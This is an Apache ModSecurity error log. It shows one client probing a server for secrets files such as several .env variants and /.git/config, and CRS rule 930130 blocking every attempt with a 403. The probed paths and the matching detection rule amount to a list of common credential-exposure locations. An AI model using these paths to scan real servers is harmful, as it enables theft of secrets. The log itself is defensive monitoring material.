[Mon Oct 26 01:08:54.254554 2026] [security2:error] [pid 2967982:tid 2967982] [client 129.213.151.234:60460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at7gZgxAu6O5Rl3lUdFILwAAAAc"]
[Mon Oct 26 01:08:54.254824 2026] [security2:error] [pid 2967982:tid 2967982] [client 129.213.151.234:60460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at7gZgxAu6O5Rl3lUdFILwAAAAc"]
[Mon Oct 26 01:08:54.255169 2026] [security2:error] [pid 2967982:tid 2967982] [client 129.213.151.234:60460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at7gZgxAu6O5Rl3lUdFILwAAAAc"]
[Mon Oct 26 01:08:54.695777 2026] [security2:error] [pid 2967981:tid 2967981] [client 129.213.151.234:12828] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gZrdUYpe7bc_mIOdw5wAAAAQ"]
[Mon Oct 26 01:08:54.695984 2026] [security2:error] [pid 2967981:tid 2967981] [client 129.213.151.234:12828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gZrdUYpe7bc_mIOdw5wAAAAQ"]
[Mon Oct 26 01:08:54.696260 2026] [security2:error] [pid 2967981:tid 2967981] [client 129.213.151.234:12828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gZrdUYpe7bc_mIOdw5wAAAAQ"]
[Mon Oct 26 01:08:55.145875 2026] [security2:error] [pid 2967984:tid 2967984] [client 129.213.151.234:60554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gZ6xIp0mEme_g4MiP1AAAAAk"]
[Mon Oct 26 01:08:55.146163 2026] [security2:error] [pid 2967984:tid 2967984] [client 129.213.151.234:60554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gZ6xIp0mEme_g4MiP1AAAAAk"]
[Mon Oct 26 01:08:55.146453 2026] [security2:error] [pid 2967984:tid 2967984] [client 129.213.151.234:60554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at7gZ6xIp0mEme_g4MiP1AAAAAk"]
[Mon Oct 26 01:08:55.148220 2026] [security2:error] [pid 2967985:tid 2967985] [client 129.213.151.234:60466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at7gZ8sAkmBTe1D9UPWIxgAAAAs"]
[Mon Oct 26 01:08:55.148414 2026] [security2:error] [pid 2967985:tid 2967985] [client 129.213.151.234:60466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at7gZ8sAkmBTe1D9UPWIxgAAAAs"]
[Mon Oct 26 01:08:55.148696 2026] [security2:error] [pid 2967985:tid 2967985] [client 129.213.151.234:60466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at7gZ8sAkmBTe1D9UPWIxgAAAAs"]
[Mon Oct 26 01:08:55.150688 2026] [security2:error] [pid 2967987:tid 2967987] [client 129.213.151.234:60496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env~"] [unique_id "at7gZ2WZR513I7uV5MIa8gAAAA0"]
[Mon Oct 26 01:08:55.150846 2026] [security2:error] [pid 2967987:tid 2967987] [client 129.213.151.234:60496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env~"] [unique_id "at7gZ2WZR513I7uV5MIa8gAAAA0"]
[Mon Oct 26 01:08:55.151115 2026] [security2:error] [pid 2967987:tid 2967987] [client 129.213.151.234:60496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env~"] [unique_id "at7gZ2WZR513I7uV5MIa8gAAAA0"]
[Mon Oct 26 01:08:55.156025 2026] [security2:error] [pid 2967986:tid 2967986] [client 129.213.151.234:60478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at7gZxBFuo_Y9q2w9MBogQAAAAw"]
[Mon Oct 26 01:08:55.156209 2026] [security2:error] [pid 2967986:tid 2967986] [client 129.213.151.234:60478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at7gZxBFuo_Y9q2w9MBogQAAAAw"]
[Mon Oct 26 01:08:55.156493 2026] [security2:error] [pid 2967986:tid 2967986] [client 129.213.151.234:60478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at7gZxBFuo_Y9q2w9MBogQAAAAw"]
[Mon Oct 26 01:08:55.308770 2026] [security2:error] [pid 2963540:tid 2963540] [client 129.213.151.234:60506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at7gZ1c7AJYJV1LqGIL4ywAAACI"]
[Mon Oct 26 01:08:55.308841 2026] [security2:error] [pid 2967021:tid 2967021] [client 129.213.151.234:60486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.gz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.gz"] [unique_id "at7gZzwKIe2skRecVagKbgAAAAM"]
[Mon Oct 26 01:08:55.309021 2026] [security2:error] [pid 2963540:tid 2963540] [client 129.213.151.234:60506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at7gZ1c7AJYJV1LqGIL4ywAAACI"]
[Mon Oct 26 01:08:55.309055 2026] [security2:error] [pid 2967021:tid 2967021] [client 129.213.151.234:60486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.gz"] [unique_id "at7gZzwKIe2skRecVagKbgAAAAM"]
[Mon Oct 26 01:08:55.309288 2026] [security2:error] [pid 2967021:tid 2967021] [client 129.213.151.234:60486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.gz"] [unique_id "at7gZzwKIe2skRecVagKbgAAAAM"]
[Mon Oct 26 01:08:55.309302 2026] [security2:error] [pid 2963540:tid 2963540] [client 129.213.151.234:60506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at7gZ1c7AJYJV1LqGIL4ywAAACI"]
[Mon Oct 26 01:08:55.309370 2026] [security2:error] [pid 2963540:tid 2963540] [client 129.213.151.234:60506] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at7gZ1c7AJYJV1LqGIL4ywAAACI"]
[Mon Oct 26 01:08:55.309385 2026] [security2:error] [pid 2963540:tid 2963540] [client 129.213.151.234:60506] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at7gZ1c7AJYJV1LqGIL4ywAAACI"]
[Mon Oct 26 01:08:55.584550 2026] [security2:error] [pid 2967987:tid 2967987] [client 129.213.151.234:60492] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gZ2WZR513I7uV5MIa8wAAAA0"]
[Mon Oct 26 01:08:55.584814 2026] [security2:error] [pid 2967987:tid 2967987] [client 129.213.151.234:60492] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gZ2WZR513I7uV5MIa8wAAAA0"]
[Mon Oct 26 01:08:55.585121 2026] [security2:error] [pid 2967987:tid 2967987] [client 129.213.151.234:60492] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gZ2WZR513I7uV5MIa8wAAAA0"]
[Mon Oct 26 01:08:55.590032 2026] [security2:error] [pid 2967985:tid 2967985] [client 129.213.151.234:60514] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.gz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.gz"] [unique_id "at7gZ8sAkmBTe1D9UPWIxwAAAAs"]
[Mon Oct 26 01:08:55.590199 2026] [security2:error] [pid 2967985:tid 2967985] [client 129.213.151.234:60514] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.gz"] [unique_id "at7gZ8sAkmBTe1D9UPWIxwAAAAs"]
[Mon Oct 26 01:08:55.590448 2026] [security2:error] [pid 2967985:tid 2967985] [client 129.213.151.234:60514] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.gz"] [unique_id "at7gZ8sAkmBTe1D9UPWIxwAAAAs"]
[Mon Oct 26 01:08:55.592247 2026] [security2:error] [pid 2967985:tid 2967985] [client 129.213.151.234:60500] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at7gZ8sAkmBTe1D9UPWIyAAAAAs"]
[Mon Oct 26 01:08:55.592396 2026] [security2:error] [pid 2967985:tid 2967985] [client 129.213.151.234:60500] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at7gZ8sAkmBTe1D9UPWIyAAAAAs"]
[Mon Oct 26 01:08:55.592664 2026] [security2:error] [pid 2967985:tid 2967985] [client 129.213.151.234:60500] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at7gZ8sAkmBTe1D9UPWIyAAAAAs"]
[Mon Oct 26 01:08:55.608783 2026] [ssl:error] [pid 2967985:tid 2967985] (70014)End of file found: [client 44.220.2.97:14008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:08:55.650166 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.zip"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.zip"] [unique_id "at7gZ-_gYH4r7PJxdAi0OAAAAAE"]
[Mon Oct 26 01:08:55.650398 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.zip"] [unique_id "at7gZ-_gYH4r7PJxdAi0OAAAAAE"]
[Mon Oct 26 01:08:55.650654 2026] [security2:error] [pid 2967015:tid 2967015] [client 129.213.151.234:12668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.zip"] [unique_id "at7gZ-_gYH4r7PJxdAi0OAAAAAE"]
[Mon Oct 26 01:08:55.936075 2026] [security2:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at7gZy6PAR37GVpLG07wlwAAAB4"]
[Mon Oct 26 01:08:55.936299 2026] [security2:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at7gZy6PAR37GVpLG07wlwAAAB4"]
[Mon Oct 26 01:08:55.936583 2026] [security2:error] [pid 2963537:tid 2963537] [client 129.213.151.234:60458] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at7gZy6PAR37GVpLG07wlwAAAB4"]
